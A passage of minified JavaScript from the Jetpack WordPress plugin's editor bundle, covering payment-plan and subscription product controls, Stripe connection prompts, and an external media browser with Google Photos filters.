month"},{label:__("Year","jetpack"),value:"1 year"},{label:__("One-Time Payment","jetpack"),value:"one-time"}];return(0,u.useEffect)((()=>{j||(S((0,f._)(I,A)),x(!1))}),[A,I,j]),(0,r.createElement)(a.InspectorControls,null,l&&(0,r.createElement)(o.PanelBody,null,(0,r.createElement)(o.ExternalLink,{href:`https://wordpress.com/earn/payments/${l}`},(0,f.l)("manage your products",e))),!n&&(0,r.createElement)(o.PanelBody,{title:(0,f.l)("add a new product",e),initialOpen:!0,className:"product-management-control-inspector__add-plan"},w===m.DW&&(0,r.createElement)(o.Placeholder,{icon:c.Z,label:(0,f.l)("saving product",e)},(0,r.createElement)(o.Spinner,null)),w===m.mj&&(0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.PanelRow,{className:"product-management-control-inspector__product-title"},(0,r.createElement)(o.TextControl,{id:"new-product-title",label:__("Name","jetpack"),onChange:e=>{S(e),x(!0)},value:C})),(0,r.createElement)(o.PanelRow,{className:"product-management-control-inspector__product-price"},(0,r.createElement)(o.SelectControl,{label:__("Currency","jetpack"),onChange:e=>L(e),options:p.Xy,value:P}),(0,r.createElement)(o.TextControl,{label:__("Price","jetpack"),onChange:e=>N(e),type:"number",value:T})),(0,r.createElement)(o.PanelRow,{className:"plan-interval"},(0,r.createElement)(o.SelectControl,{label:__("Interval","jetpack"),onChange:e=>R(e),options:F,value:A})),(0,r.createElement)(o.PanelRow,{className:"donation-subscription"},(0,r.createElement)(o.ToggleControl,{label:(0,f.l)("mark this product as a donation",e),onChange:e=>M(e),checked:I})),(0,r.createElement)(o.PanelRow,{className:"custom-amount"},(0,r.createElement)(o.ToggleControl,{label:__("Enable customers to pick their own amount","jetpack"),onChange:e=>Z(e),checked:B})),(0,r.createElement)(o.PanelRow,null,(0,r.createElement)(o.ExternalLink,{href:"https://wordpress.com/support/wordpress-editor/blocks/payments/#related-fees"},__("Read more about Payments and related fees.","jetpack"))),(0,r.createElement)(o.PanelRow,null,(0,r.createElement)(o.Button,{onClick:n=>{n.preventDefault(),_(m.DW),E({title:C,currency:P,price:T,interval:A,type:I?"donation":null,buyer_can_change_amount:B,is_editable:!0},e,t,(e=>{_(m.mj),e&&(N(b),x(!1),R(v),M(k),Z(y),L(g))}))},variant:"secondary"},(0,f.l)("add product",e))))))}},21200:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(51806),a=n(52175),o=n(61074),i=n(30797),s=n(68880),l=n(51585);function c(){const{productType:e}=(0,s.Q)();return(0,r.createElement)(a.Warning,{className:"product-management-control-nudge"},(0,r.createElement)("span",{className:"product-management-control-nudge__info"},(0,r.createElement)(o.Z,{icon:i.Z}),(0,r.createElement)("span",{className:"product-management-control-nudge__text-container"},(0,r.createElement)("span",{className:"product-management-control-nudge__title"},(0,l.l)("invalid product configured for this block",e)),(0,r.createElement)("span",{className:"product-management-control-nudge__message"},(0,l.l)("the button will be hidden from your visitors until you select a valid product",e)))))}},16842:function(e,t,n){"use strict";n.d(t,{Z:function(){return y}});var r=n(51806),a=n(25607),o=n(52175),i=n(55609),s=n(9818),l=n(65736),c=n(79201),u=n(48381),d=n(30797),p=n(7652),m=n(99307),h=n(68880),f=n(60510),g=n(51585);const __=l.__;function b(e){const{currency:t,interval:n,price:r}=e,o=(0,a.ZP)(parseFloat(r),t);switch(n){case"1 month":return(0,l.sprintf)(
// translators: %s: amount
__("%s / month","jetpack"),o);case"1 year":return(0,l.sprintf)(
// translators: %s: amount
__("%s / year","jetpack"),o);case"one-time":return o}return(0,l.sprintf)(
// translators: %s: amount, plan interval
__("%1$s / %2$s","jetpack"),o,n)}function v(e){let{onClose:t,product:n}=e;const{selectedProductId:a,setSelectedProductId:o}=(0,h.Q)(),{id:s,title:l}=n,u=a&&a===s,d=u?c.Z:void 0,p=n?" "+b(n):null;return(0,r.createElement)(i.MenuItem,{icon:d,onClick:e=>{e.preventDefault(),o(s),t()},selected:u,value:s},l," : ",p)}function k(e){let{onClose:t}=e;const{clientId:n,productType:a}=(0,h.Q)(),o=(0,s.useSelect)((e=>e(p.h).getSiteSlug())),l=(0,f.Z)(n);if(m.BM===(0,m.j3)())return(0,r.createElement)(i.MenuItem,null,o&&(0,r.createElement)(i.ExternalLink,{href:`https://wordpress.com/earn/payments-plans/${o}#add-new-payment-plan`},(0,g.l)("add a new product",a)));return(0,r.createElement)(i.MenuItem,{onClick:e=>{e.preventDefault(),l(),setTimeout((()=>{const e=document.getElementById("new-product-title");null!==e&&e.focus()}),100),t()}},(0,g.l)("add a new product",a))}function y(){const{products:e,productType:t,selectedProductId:n}=(0,h.Q)(),{selectedProduct:a,shouldUpgrade:l}=(0,s.useSelect)((e=>{const{getProduct:t,getShouldUpgrade:r}=e(p.h);return{selectedProduct:t(n),shouldUpgrade:r()}}));let c=null,m=u.Z;return a&&(c=b(a)),n&&!a&&(c=(0,g.l)("product not found",t),m=d.Z),(0,r.createElement)(o.BlockControls,{__experimentalShareWithChildBlocks:!0,group:"block"},(0,r.createElement)(i.ToolbarDropdownMenu,{className:"product-management-control-toolbar__dropdown-button",icon:m,label:(0,g.l)("select a product",t),text:c},(t=>{let{onClose:n}=t;return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(i.MenuGroup,null,e.map((e=>(0,r.createElement)(v,{key:e.id,onClose:n,product:e})))),!l&&(0,r.createElement)(i.MenuGroup,null,(0,r.createElement)(k,{onClose:n})))})))}},60510:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(52175),a=n(9818),o=n(72067),i=n(99307);function s(e){const t=(0,i.j3)(),{selectBlock:n}=(0,a.useDispatch)(r.store),{enableComplementaryArea:s}=(0,a.useDispatch)("core/interface"),{closePublishSidebar:l}=(0,a.useDispatch)(o.store);return()=>{switch(e&&n(e),t){case i.fH:return s("core/edit-site","edit-site/block-inspector");case i.CG:return s("core/edit-widgets","edit-widgets/block-inspector");default:l(),s("core/edit-post","edit-post/block")}}}},51585:function(e,t,n){"use strict";n.d(t,{_:function(){return l},l:function(){return i}});var r=n(65736),a=n(14436);const __=r.__,o={"add a new product":{[a.Bn]:__("Add a new payment plan","jetpack"),[a.DM]:__("Add a new subscription","jetpack")},"product not found":{[a.Bn]:__("Payment plan not found","jetpack"),[a.DM]:__("Subscription not found","jetpack")},"select a product":{[a.Bn]:__("Select a payment plan","jetpack"),[a.DM]:__("Select a subscription","jetpack")},"default new product title":{[a.Bn]:__("Monthly Subscription","jetpack"),[a.DM]:__("Monthly Subscription","jetpack")},"manage your products":{[a.Bn]:__("Manage your payment plans.","jetpack"),[a.DM]:__("Manage your subscriptions.","jetpack")},"saving product":{[a.Bn]:__("Saving payment plan…","jetpack"),[a.DM]:__("Saving subscription…","jetpack")},"add product":{[a.Bn]:__("Add payment plan","jetpack"),[a.DM]:__("Add subscription","jetpack")},"product requires a name":{[a.Bn]:__("Payment plan requires a name","jetpack"),[a.DM]:__("Subscription requires a name","jetpack")},"product requires a valid price":{[a.Bn]:__("Payment plan requires a valid price","jetpack"),[a.DM]:__("Subscription requires a valid price","jetpack")},"successfully created product":{[a.Bn]:__("Successfully created payment plan","jetpack"),[a.DM]:__("Successfully created subscription","jetpack")},"there was an error when adding the product":{[a.Bn]:__("There was an error when adding the payment plan.","jetpack"),[a.DM]:__("There was an error when adding the subscription.","jetpack")},"invalid product configured for this block":{[a.Bn]:__("Invalid payment plan configured for this block.","jetpack"),[a.DM]:__("Invalid subscription configured for this block.","jetpack")},"the button will be hidden from your visitors until you select a valid product":{[a.Bn]:__("The button will be hidden from your visitors until you select a valid payment plan.","jetpack"),[a.DM]:__("The subscribe button will be hidden from your visitors until you select a valid subscription.","jetpack")},"mark this product as a donation":{[a.Bn]:__("Mark this payment plan as a donation","jetpack"),[a.DM]:__("Mark this subscription as a donation","jetpack")}};function i(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:a.Bn;return o?.[e]?.[t]||null}const s={"false,1 month":__("Monthly Subscription","jetpack"),"true,1 month":__("Monthly Donation","jetpack"),"false,1 year":__("Yearly Subscription","jetpack"),"true,1 year":__("Yearly Donation","jetpack"),"false,one-time":__("Subscription","jetpack"),"true,one-time":__("Donation","jetpack")};function l(e,t){var n;return null!==(n=s[[e,t]])&&void 0!==n?n:""}},2327:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(51806),a=n(13419),o=n(55609),i=n(65736),s=n(81427),l=n(46867);const __=i.__;function c(e){let{blockName:t,connectUrl:n}=e;const{autosaveAndRedirect:i}=(0,l.Z)(n),{tracks:c}=(0,a.z$)();return(0,r.createElement)(o.ToolbarButton,{className:"connect-stripe components-tab-button",icon:s.Pw,onClick:e=>{e.preventDefault(),c.recordEvent("jetpack_editor_block_stripe_connect_click",{block:t}),i(e)}},__("Connect Stripe","jetpack"))}},16367:function(e,t,n){"use strict";n.d(t,{U:function(){return u}});var r=n(51806),a=n(13419),o=n(9818),i=n(65736),s=n(89933),l=n(7652),c=n(44738);const __=i.__,u=e=>{let{blockName:t}=e;const n=(0,o.select)(l.h),i=n.getConnectUrl(),{tracks:u}=(0,a.z$)();return n.getShouldUpgrade()||!i?null:(0,r.createElement)(c.Z,{className:"jetpack-stripe-nudge__banner",buttonLabel:__("Connect","jetpack"),icon:(0,r.createElement)(s.Z,{className:"jetpack-stripe-nudge__icon",size:18,"aria-hidden":"true",role:"img",focusable:"false"}),href:i,onClick:()=>u.recordEvent("jetpack_editor_block_stripe_connect_click",{block:t}),title:__("Connect to Stripe to use this block on your site","jetpack"),subtitle:__("This block will be hidden from your visitors until you connect to Stripe.","jetpack")})}},26546:function(e,t,n){"use strict";n.d(t,{p:function(){return l}});var r=n(51806),a=n(55609),o=n(65736),i=n(65235),s=n.n(i);const __=o.__,l=e=>{let{align:t,className:n,title:o,description:i,buttonText:l,visible:c=!0,context:u,checkoutUrl:d,goToCheckoutPage:p,isRedirecting:m=!1}=e;const h=s()(n,"jetpack-upgrade-plan-banner",{"wp-block":"editor-canvas"===u,"block-editor-block-list__block":"editor-canvas"===u,"jetpack-upgrade-plan__hidden":!c}),f=__("Redirecting…","jetpack");return(0,r.createElement)("div",{className:h,"data-align":t},(0,r.createElement)("div",{className:"jetpack-upgrade-plan-banner__wrapper"},o&&(0,r.createElement)("strong",{className:s()("banner-title",{[`${n}__title`]:n})},o),i&&(0,r.createElement)("span",{className:`${n}__description banner-description`},i),(0,r.createElement)(a.Button,{href:m?null:d,onClick:p,target:"_top",className:s()("is-primary",{"jetpack-upgrade-plan__hidden":!d}),isBusy:m},m?f:l)))}},87553:function(e,t,n){"use strict";var r=n(9818);const a={setPlans:e=>({type:"SET_PLANS",plans:e}),fetchFromAPI:e=>({type:"FETCH_FROM_API",url:e})};(0,r.registerStore)("wordpress-com/plans",{reducer(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t=arguments.length>1?arguments[1]:void 0;return"SET_PLANS"===t.type?t.plans:e},actions:a,selectors:{getPlan:(e,t)=>e.find((e=>e.product_slug===t))},controls:{FETCH_FROM_API(e){let{url:t}=e;return fetch(t).then((e=>e.json()))}},resolvers:{*getPlan(){const e=yield a.fetchFromAPI("https://public-api.wordpress.com/rest/v1.5/plans");return a.setPlans(e)}}})},6598:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(4981);function a(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];return void 0!==r.createBlocksFromInnerBlocksTemplate?(0,r.createBlocksFromInnerBlocksTemplate)(e):e.map((e=>{const t=Array.isArray(e)?e:[e.name,e.attributes,e.innerBlocks],[n,o,i=[]]=t;return(0,r.createBlock)(n,o,a(i))}))}},79162:function(e,t,n){"use strict";n.d(t,{Vm:function(){return l},Xy:function(){return o},ck:function(){return a},hj:function(){return i},vs:function(){return s}});var r=n(43317);const a={USD:.5,AUD:.5,BRL:.5,CAD:.5,CHF:.5,DKK:2.5,EUR:.5,GBP:.3,HKD:4,INR:.5,JPY:50,MXN:10,NOK:3,NZD:.5,PLN:2,SEK:3,SGD:.5},o=Object.keys(a).map((e=>{const{symbol:t}=(0,r.X)(e);var n;return{value:e,label:t===e?e:`${e} ${n=t,String(n||"").replace(/\.+$/,"")}`}}));function i(e){return a[e]}function s(e,t){return!isNaN(t)&&t>=i(e)}function l(e,t){return e?"number"==typeof e?e:(e=parseFloat(e.replace(new RegExp("\\"+r.M[t].grouping,"g"),"").replace(new RegExp("\\"+r.M[t].decimal,"g"),".")),isNaN(e)?null:e):null}},94545:function(e,t,n){"use strict";var r=n(51806),a=n(55609);t.Z=e=>{let{label:t,onClick:n}=e;return(0,r.createElement)(a.Button,{className:"components-toolbar__control",label:t,icon:"edit",onClick:n})}},73905:function(e,t){"use strict";const n=new Map,r=e=>n.has(e);t.Z={acquire:e=>{if(r(e))return null;const t=Math.random();return n.set(e,t),[e,t]},blockExecution:async function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:10;for(;r(e);)await new Promise((e=>setTimeout(e,t)))},clearAll:()=>n.clear(),isLocked:r,release:e=>{const[t,a]=e;return!(!r(t)||n.get(t)!==a)&&(n.delete(t),!0)}}},20982:function(e,t,n){"use strict";n.d(t,{Bb:function(){return b},CY:function(){return h},Eh:function(){return s},En:function(){return v},OG:function(){return d},QU:function(){return y},Qh:function(){return g},Tu:function(){return u},Wm:function(){return f},h9:function(){return m},iT:function(){return i},l5:function(){return w},oI:function(){return c},tY:function(){return p},wk:function(){return l},yD:function(){return k},zs:function(){return E}});var r=n(69771),a=n(65736),o=n(92819);const __=a.__,i="google_photos",s="openverse",l="pexels",c="recent",u="/",d=[{value:c,label:__("Photos","jetpack")},{value:u,label:__("Albums","jetpack")}],p=[{value:"",
/* translators: category of images */
label:__("All categories","jetpack")},{value:"animals",
/* translators: category of images */
label:__("Animals","jetpack")},{value:"arts",
/* translators: category of images */
label:__("Arts","jetpack")},{value:"birthdays",
/* translators: category of images */
label:__("Birthdays","jetpack")},{value:"cityscapes",
/* translators: category of images */
label:__("Cityscapes","jetpack")},{value:"crafts",
/* translators: category of images */
label:__("Crafts","jetpack")},{value:"fashion",
/* translators: category of images */
label:__("Fashion","jetpack")},{value:"food",
/* translators: category of images */
label:__("Food","jetpack")},{value:"flowers",
/* translators: category of images */
label:__("Flowers","jetpack")},{value:"gardens",
/* translators: category of images */
label:__("Gardens","jetpack")},{value:"holidays",
/* translators: category of images */
label:__("Holidays","jetpack")},{value:"houses",
/* translators: category of images */
label:__("Houses","jetpack")},{value:"landmarks",
/* translators: category of images */
label:__("Landmarks","jetpack")},{value:"landscapes",
/* translators: category of images */
label:__("Landscapes","jetpack")},{value:"night",
/* translators: category of images */
label:__("Night","jetpack")},{value:"people",
/* translators: category of images */
label:__("People","jetpack")},{value:"pets",
/* translators: category of images */
label:__("Pets","jetpack")},{value:"selfies",
/* translators: category of images */
label:__("Selfies","jetpack")},{value:"sport",
/* translators: category of images */
label:__("Sport","jetpack")},{value:"travel",
/* translators: category of images */
label:__("Travel","jetpack")},{value:"weddings",
/* translators: category of images */
label:__("Weddings","jetpack")}],m=["mountain","ocean","river","clouds","pattern","abstract","sky"],h="ANY",f="LAST_7_DAYS",g="LAST_30_DAYS",b="LAST_6_MONTHS",v="LAST_12_MONTHS",k="CUSTOM",y=[{value:h,label:__("Any time","jetpack")},{value:f,label:__("Last 7 days","jetpack")},{value:g,label:__("Last 30 days","jetpack")},{value:b,label:__("Last 6 months","jetpack")},{value:v,label:__("Last 12 months","jetpack")},{value:k,label:__("Specific Month/Year","jetpack")}],E=(new Date).getFullYear(),w=[{label:__("Any Month","jetpack"),value:-1},...(0,o.map)((0,o.range)(0,12),(e=>({label:(0,r.dateI18n)("F",new Date(0,e)),value:e})))]},54414:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(13419),s=n(52175),l=n(92694),c=n(10892),u=n(38457);if((0,i.Dp)()&&"function"==typeof s.useBlockEditContext){const e=e=>e.unstableFeaturedImageFlow||e.modalClass&&e.modalClass.indexOf("featured-image")>-1,t=(e,t)=>["core/cover","core/image","core/gallery","core/media-text","jetpack/image-compare","jetpack/slideshow","jetpack/story","jetpack/tiled-gallery","videopress/video"].indexOf(e)>-1&&-1===t.toString().indexOf("coblocks");(0,l.addFilter)("editor.MediaUpload","external-media/replace-media-upload",(n=>r=>{const{name:i}=(0,s.useBlockEditContext)();let{render:l}=r;if(t(i,l)||e(r)){const{allowedTypes:e,gallery:t=!1,value:n=[]}=r;e.indexOf("image")>-1&&!(t&&n.length>0)&&(l=e=>(0,o.createElement)(c.Z,a()({},e,{mediaProps:r})))}return(0,o.createElement)(n,a()({},r,{render:l}))}),100),(0,l.addFilter)("blocks.registerBlockType","external-media/individual-blocks",(function(e,t){return"core/image"!==t?e:{...e,keywords:[...e.keywords,...u.Dv.map((e=>e.keyword))]}}))}},11583:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(39630),l=n(65235),c=n.n(l),u=n(92819),d=n(46406),p=n(9827);const __=i.__,m=(0,o.memo)((()=>(0,r.createElement)("div",{className:"jetpack-external-media-browser__empty"},(0,r.createElement)("p",null,__("Sorry, but nothing matched your search criteria.","jetpack")))));t.Z=function(e){const{media:t,isCopying:n,isLoading:i,pageHandle:l,className:h,multiple:f,setPath:g,nextPage:b,onCopy:v}=e,[k,y]=(0,o.useState)([]),[E,w]=(0,o.useState)(-1),_=(0,o.useRef)(-1),C=(0,o.useRef)(null),S=(0,o.useCallback)((e=>{let t=[e];"folder"===e.type?g(e.ID):f?(t=k.slice(0,9).concat(e),k.find((t=>e.ID===t.ID))&&(t=k.filter((t=>t.ID!==e.ID)))):1===k.length&&e.ID===k[0].ID&&(t=[]),y(t)}),[k,f,g]),j=(0,o.useCallback)((()=>{v(k)}),[k,v]),x=t.filter((e=>"folder"!==e.type)).length>0,P=c()({"jetpack-external-media-browser__media":!0,"jetpack-external-media-browser__media__loading":i}),L=c()({"jetpack-external-media-browser":!0,[h]:!0}),T=()=>{let e=1;const t=C.current.children;if(t.length>0){const n=t[0].offsetTop;for(;e<t.length&&t[e].offsetTop===n;)++e}_.current=e},N=(0,u.debounce)(T,400);(0,o.useEffect)((()=>(window.addEventListener("resize",N),()=>{window.removeEventListener("resize",N)})),[]),(0,o.useEffect)((()=>{t.length&&-1===_.current&&T()}),[t]);const A=(e,t)=>{let{item:n}=t;S(n)},R=(e,n)=>{let{item:r,index:a}=n;[s.LEFT,s.RIGHT,s.UP,s.DOWN].includes(e.keyCode)?((e,n)=>{switch(e){case s.LEFT:n>=1&&w(n-1);break;case s.RIGHT:n<t.length&&w(n+1);break;case s.UP:n>=_.current&&w(n-_.current);break;case s.DOWN:n<t.length-_.current&&w(n+_.current)}})(e.keyCode,a):s.SPACE===e.keyCode?(S(r),e.preventDefault()):s.ENTER===e.keyCode&&S(r),[s.LEFT,s.RIGHT,s.UP,s.DOWN,s.SPACE,s.ENTER].includes(e.keyCode)&&e.stopPropagation()};return(0,r.createElement)("div",{className:L},(0,r.createElement)("ul",{ref:C,className:P},t.map(((e,t)=>(0,r.createElement)(d.Z,{item:e,index:t,key:e.ID,onClick:A,onKeyDown:R,focus:t===E,isSelected:k.find((t=>t.ID===e.ID)),isCopying:n}))),0===t.length&&!i&&(0,r.createElement)(m,null),i&&(0,r.createElement)(p.Z,null),l&&!i&&(0,r.createElement)(a.Button,{variant:"secondary",className:"jetpack-external-media-browser__loadmore",disabled:i||n,onClick:()=>{t.length&&w(t.length),b()}},__("Load More","jetpack"))),x&&(0,r.createElement)((()=>{const e=0===k.length||n,t=n?__("Inserting…","jetpack"):__("Select","jetpack",0);return(0,r.createElement)("div",{className:"jetpack-external-media-browser__media__toolbar"},(0,r.createElement)(a.Button,{variant:"primary",isBusy:n,disabled:e,onClick:j},t))}),null))}},46406:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(65235),l=n.n(s);const __=i.__;t.Z=function(e){const{item:t,focus:n,isSelected:i,isCopying:s=!1}=e,{thumbnails:c,caption:u,name:d,title:p,type:m,children:h=0}=t,{medium:f=null,fmt_hd:g=null,thumbnail:b=null}=c,v=p||u||d,k=l()({"jetpack-external-media-browser__media__item":!0,"jetpack-external-media-browser__media__item__selected":i,"jetpack-external-media-browser__media__folder":"folder"===m,"is-transient":s}),y=(0,o.useRef)(null);return(0,o.useEffect)((()=>{n&&y.current.focus()}),[n]),(0,r.createElement)("li",{ref:y,className:k,onClick:s?void 0:t=>{const{item:n,index:r}=e;e.onClick&&e.onClick(t,{item:n,index:r})},onKeyDown:s?void 0:t=>{const{item:n,index:r}=e;e.onKeyDown&&e.onKeyDown(t,{item:n,index:r})},role:"checkbox",tabIndex:"0","aria-checked":!!i,"aria-disabled":!!s},i&&s&&(0,r.createElement)("div",{className:"jetpack-external-media-browser__media__copying_indicator"},(0,r.createElement)(a.Spinner,null),(0,r.createElement)("div",{className:"jetpack-external-media-browser__media__copying_indicator__label"},__("Inserting Image…","jetpack"))),(0,r.createElement)("img",{src:f||g||b,alt:v}),"folder"===m&&(0,r.createElement)("div",{className:"jetpack-external-media-browser__media__info"},(0,r.createElement)("div",{className:"jetpack-external-media-browser__media__name"},d),(0,r.createElement)("div",{className:"jetpack-external-media-browser__media__count"},h)))}},9827:function(e,t,n){"use strict";var r=n(51806),a=n(69307);t.Z=(0,a.memo)((function(){const e="jetpack-external-media-browser__media__item jetpack-external-media-browser__media__placeholder";return(0,r.createElement)(r.Fragment,null,(0,r.createElement)("div",{className:e}),(0,r.createElement)("div",{className:e}),(0,r.createElement)("div",{className:e}))}))},10892:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(69307),s=n(38457),l=n(95833);const c=e=>e.unstableFeaturedImageFlow||e.modalClass&&-1!==e.modalClass.indexOf("featured-image"),u=e=>void 0===e.multiple&&!c(e);t.Z=function(e){const{mediaProps:t}=e,[n,r]=(0,i.useState)(null),d=(0,s.ZR)(n);return(0,o.createElement)("div",{onClick:e=>e.stopPropagation()},(0,o.createElement)(l.Z,a()({},e,{setSelectedSource:r,isReplace:u(t),isFeatured:c(t),hasImage:t.value>0})),d&&(0,o.createElement)(d,a()({},t,{onClose:e=>{e&&(e.stopPropagation(),e.target.closest(".jetpack-external-media-header__dropdown"))||(r(null),t.onClose?.())}})))}},95833:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(65736),i=n(61074),s=n(20843),l=n(13959);const __=o.__;t.Z=function(e){const{mediaProps:t,open:n,setSelectedSource:o,isFeatured:c,isReplace:u,hasImage:d}=e,p=t.render;let m="tertiary";if(u)return(0,r.createElement)(l.Z,{originalButton:p,open:n,setSource:o});let h=__("Select Image","jetpack");return t.multiple&&(h=__("Select Images","jetpack")),t.allowedTypes.length>1&&(h=__("Select Media","jetpack")),c&&(h=__("Replace Image","jetpack"),m="secondary"),(0,r.createElement)(r.Fragment,null,(0,r.createElement)(a.Dropdown,{placement:"bottom-start",className:"jetpack-external-media-button-menu__dropdown",contentClassName:"jetpack-external-media-button-menu__options",renderToggle:e=>{let{isOpen:t,onToggle:n}=e;const o=p&&p({open:n});return c&&d||o&&"string"!=typeof o.props.children?o:(0,r.createElement)(a.Button,{variant:m,className:"jetpack-external-media-button-menu","aria-haspopup":"true","aria-expanded":t,onClick:n},(0,r.createElement)("div",{className:"jetpack-external-media-button-menu__label"},h),(0,r.createElement)(i.Z,{icon:s.Z}))},renderContent:e=>{let{onClose:t}=e;return(0,r.createElement)(a.NavigableMenu,{"aria-label":h},(0,r.createElement)(a.MenuGroup,null,(0,r.createElement)(a.MenuItem,{icon:s.Z,onClick:()=>{t(),n()}},__("Media Library","jetpack")),(0,r.createElement)(l.Z,{open:n,setSource:o,onClick:t})))}}))}},13959:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(38457);t.Z=function(e){let{originalButton:t=null,onClick:n=(()=>{}),open:s,setSource:l}=e;return(0,r.createElement)(o.Fragment,null,t&&t({open:s}),i.Dv.map((e=>{let{icon:t,id:o,label:i}=e;return(0,r.createElement)(a.MenuItem,{icon:t,key:o,onClick:()=>{n(),l(o)}},i)})))}},47285:function(e,t,n){"use strict";n.d(t,{k:function(){return i}});var r=n(13419),a=n(96483);const o={list:"/wpcom/v2/external-media/list/",copy:(0,r.Wp)()?"/rest/v1.1/external-media-upload?service=":"/wpcom/v2/external-media/copy/",connection:"/wpcom/v2/external-media/connection/"};function i(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return o[e]?(0,a.addQueryArgs)(o[e]+t,n):null}},53463:function(e,t,n){"use strict";var r=n(51806),a=n(69307),o=n(65736),i=n(81427);const __=o.__;t.Z=(0,a.memo)((function(){return(0,r.createElement)(a.Fragment,null,(0,r.createElement)(i.JO,null),(0,r.createElement)("p",null,__("To get started, connect your site to your Google Photos library.","jetpack")),(0,r.createElement)("p",null,__("You can remove the connection in either of these places:","jetpack")),(0,r.createElement)("ul",null,(0,r.createElement)("li",null,(0,r.createElement)("a",{target:"_blank",rel:"noopener noreferrer",href:"https://myaccount.google.com/security"},__("Google Security page","jetpack"))),(0,r.createElement)("li",null,(0,r.createElement)("a",{target:"_blank",rel:"noopener noreferrer",href:"https://wordpress.com/marketing/connections/"},__("WordPress.com Connections","jetpack")))))}))},5890:function(e,t,n){"use strict";var r=n(51806),a=n(69307),o=n(65736);const __=o.__;t.Z=(0,a.memo)((function(){return(0,r.createElement)("p",null,__("Awaiting authorization","jetpack"))}))},86167:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(20982);const __=i.__;t.Z=(0,o.memo)((function(e){let{path:t,setPath:n}=e;return(0,r.createElement)(o.Fragment,null,(0,r.createElement)(a.Button,{variant:"tertiary",onClick:()=>n(s.Tu)},__("Albums","jetpack")),"→   ",t.name)}))},4819:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(92819),l=n(20769),c=n(20982);const __=i.__;function u(e){let{value:t,updateFilter:n}=e;return(0,r.createElement)(a.SelectControl,{label:__("Category","jetpack"),value:t,options:c.tY,onChange:n})}function d(e){let{value:t,updateFilter:n}=e;const i=t?.range||c.CY,[s,u]=(0,o.useState)(-1),[d,p]=(0,o.useState)(c.zs);return(0,r.createElement)("div",{className:"jetpack-external-media-date-filter"},(0,r.createElement)(a.SelectControl,{label:__("Filter by time period","jetpack"),value:i,options:c.QU,onChange:e=>n({range:e})}),i===c.yD&&(0,r.createElement)(o.Fragment,null,(0,r.createElement)(a.SelectControl,{label:__("Month","jetpack"),value:s,options:c.l5,onChange:u}),(0,r.createElement)(l.Z,{className:"components-base-control",label:__("Year","jetpack"),value:d,min:1970,onChange:p}),(0,r.createElement)(a.Button,{variant:"secondary",disabled:t?.month===s&&t?.year===d,onClick:()=>{n({range:i,month:s,year:d})}},__("Apply","jetpack"))))}function p(){return(0,r.createElement)("span",null,__("Favorites","jetpack"))}function m(e){let{value:t,updateFilter:n}=e;const o=[{label:__("All","jetpack"),value:""},{label:__("Images","jetpack"),value:"photo"},{label:__("Videos","jetpack"),value:"video"}];return(0,r.createElement)(a.SelectControl,{label:__("Type","jetpack"),value:t,options:o,onChange:n})}function h(e){let{children:t,removeFilter:n,isRemovable:o=!1}=e;return(0,r.createElement)("div",{className:"jetpack-external-media-googlephotos-filter"},t,!!o&&(0,r.createElement)(a.Button,{onClick:n,isSmall:!0},__("Remove Filter","jetpack")))}t.Z=function(e){let{filters:t,setFilters:n,canChangeMedia:a}=e;const o=Object.keys(t).filter((e=>a||"mediaType"!==e)).map((e=>{return(0,r.createElement)(h,{key:e,removeFilter:()=>n((0,s.omit)(t,e))},(a=e,o=t[e],i=r=>n(function(e,t,n){const r={...e,[t]:n};return"mediaType"===t&&"video"===n?delete r.category:"category"===t&&"video"===r.mediaType&&delete r.mediaType,r}(t,e,r)),"category"===a?(0,r.createElement)(u,{value:o,updateFilter:i}):"date"===a?(0,r.createElement)(d,{value:o,updateFilter:i}):"favorite"===a?(0,r.createElement)(p,{value:o}):"mediaType"===a?(0,r.createElement)(m,{value:o,updateFilter:i}):null));var a,o,i}));return 0===o.length?null:o}},58912:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(76292),a=n.n(r),o=n(20982);const i=a()();function s(e){const{mediaType:t,category:n,favorite:r,date:s}=e,l=[];if(t&&l.push("mediaType="+t),n&&"video"!==t&&l.push("categoryInclude="+n),void 0!==r&&l.push("feature=favorite"),s){let e=null,t=null;switch(s.range){case o.Wm:e=a()(i).subtract(7,"days"),t=i;break;case o.Qh:e=a()(i).subtract(30,"days"),t=i;break;case o.Bb:e=a()(i).subtract(6,"months"),t=i;break;case o.En:e=a()(i).subtract(1,"year"),t=i;break;case o.yD:const n=parseInt(s.month),r=parseInt(s.year);isNaN(n)||isNaN(r)||(-1===n?(e=a()([r,0]),t=a()(e).endOf("year")):(e=a()([r,n]),t=a()(e).endOf("month")))}const n=e?e.format("YYYY-MM-DD"):"0000-00-00",r=t?t.format("YYYY-MM-DD"):"0000-00-00";l.push(`dateRange=${n}:${r}`)}return l.length>0?l:null}},53800:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736);const __=i.__,s=[{label:__("Category","jetpack"),value:"category"},{label:__("Date","jetpack"),value:"date"},{label:__("Favorites","jetpack"),value:"favorite"},{label:__("Media Type","jetpack"),value:"mediaType"}];function l(e){return s.filter((t=>void 0===e[t.value]))}function c(e){const t=l(e);return t.length>0?t[0].value:""}t.Z=function(e){const[t,n]=(0,o.useState)(c([])),{isLoading:i,isCopying:s,filters:u,canChangeMedia:d}=e,p=function(e,t){return 